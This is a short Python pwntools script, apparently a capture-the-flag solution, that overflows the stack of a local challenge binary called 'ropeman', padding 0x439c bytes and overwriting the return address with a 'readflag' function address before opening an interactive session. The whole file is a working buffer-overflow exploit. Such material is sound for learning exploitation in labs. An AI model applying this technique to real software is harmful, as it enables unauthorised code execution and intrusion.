import struct
from pwn import *
from time import sleep


def getpayload():
    readflag = 0x8049980

    # First, the buffer overflow.
    payload =  "S"*0x439c
    payload += "AAAA"
    payload += struct.pack("I", readflag)

    return payload

def exploit():

    prog = process('./ropeman')
    for x in range(0, 6):
        prog.sendline('z')
        time.sleep(0.1)
    prog.sendline(getpayload())
    prog.interactive()

if __name__ == "__main__":
    result = {}
    exploit()

